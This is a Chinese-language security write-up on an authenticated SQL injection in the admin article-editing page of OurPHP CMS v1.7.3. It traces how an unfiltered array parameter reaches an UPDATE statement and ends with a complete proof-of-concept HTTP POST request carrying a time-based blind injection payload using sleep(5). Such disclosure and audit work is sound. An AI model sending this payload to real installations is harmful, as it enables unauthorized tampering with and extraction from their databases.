ourphp 最新版(v1.7.3) 后台sql注入

Posted 2020-10-02 Reborn

version:
<?php
/*******************************************************************************
* Ourphp - CMS建站系统
* Copyright (C) 2017 www.ourphp.net
* 开发者：哈尔滨伟成科技有限公司
*******************************************************************************/

$ourphp_version="v1.7.3";
$ourphp_versiondate="20170615";
$ourphp_weixin="close";
$ourphp_apps="close";
$ourphp_alifuwu="close";

?>

首先看 index.php

加载了下面这些文件

include \'./config/ourphp_code.php\';
include \'./config/ourphp_config.php\';
include \'./config/ourphp_version.php\';
include \'./config/ourphp_Language.php\';
include \'./function/ourphp_function.class.php\';
include \'./function/ourphp/Smarty.class.php\';
include \'./function/ourphp_system.class.php\';
include \'./function/ourphp_template.class.php\';

其中 ourphp_function.class.php 为一些安全过滤函数

批量搜索 $_POST

挑了一处跟进去  

\\client\\manage\\ourphp_articleview.php  第71行

$query = $db -> update("`ourphp_article`","`OP_Articletitle` = \'".admin_sql($_POST["OP_Articletitle"])."\',`OP_Articleauthor` = \'".admin_sql($_POST["OP_Articleauthor"])."\',`OP_Articlesource` = \'".admin_sql($_POST["OP_Articlesource"])."\',`time` = \'".date("Y-m-d H:i:s")."\',`OP_Articlecontent` = \'".admin_sql($_POST["OP_Articlecontent"])."\',`OP_Tag` = \'".$wordtag."\',`OP_Class` = \'".$OP_Articleclass[0]."\',`OP_Lang` = \'".$OP_Articleclass[1]."\',`OP_Sorting` = \'".admin_sql($_POST["OP_Articlesorting"])."\',`OP_Attribute` = \'".$OP_Articleattribute."\',`OP_Url` = \'".admin_sql($_POST["OP_Articleurl"])."\',`OP_Description` = \'".compress_html($OP_Articlecontent)."\',`OP_Minimg` = \'".$OP_Minimg."\'","where id = ".intval($_GET[\'id\']));

发现大部分参数都经过了 admin_sql 函数的处理，但是发现 $OP_Articleattribute 没有经过admin_sql的处理

搜索 $OP_Articleattribute 发现

\\client\\manage\\ourphp_articleview.php  第47-51行

        if (!empty($_POST["OP_Articleattribute"])){
        $OP_Articleattribute = implode(\',\',$_POST["OP_Articleattribute"]);
        }else{
        $OP_Articleattribute = \'\';
        }

显然也没有经过处理

这里是update 的注入点  而且没有回显 所以不能用报错注入

根据上面对 $OP_Articleattribute 知道这里应该传入数组 

监控sql语句为

update `ourphp_article` set `OP_Articletitle` = \'世界，你好！\',`OP_Articleauthor` = \'\',`OP_Articlesource` = \'\',`time` = \'2017-08-10 12:05:16\',`OP_Articlecontent` = \'世界，你好！\',`OP_Tag` = \'\',`OP_Class` = \'3\',`OP_Lang` = \'cn\',`OP_Sorting` = \'99\',`OP_Attribute` = \'aaaaaaaaaaaaa,xxxxxxxxx\'\',`OP_Url` = \'\',`OP_Description` = \'世界，你好！\',`OP_Minimg` = \'skin/noimage.png\' where id = 3

带入了单引号

 

最后给出poc 

POST /client/manage/ourphp_articleview.php?ourphp_cms=edit&id=3&page=1 HTTP/1.1
Host: localhost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pnti0rkun1s1rrqhhl9n6lqdr1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 484

OP_Articleclass=3%7Ccn&OP_Articletitle=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articleauthor=&OP_Articlesource=&a_upimg=skin%2Fnoimage.png&OP_Articlecontent=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articlesorting=99&OP_Articleurl=&OP_Articletag=&OP_Articledescription=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&submit=%E6%8F%90%2B%E4%BA%A4&OP_Articleattribute[0]=aaaaaaaaaaaaa&OP_Articleattribute[1]=xxxxxxxxx\' where 1=1 and sleep(5)-- -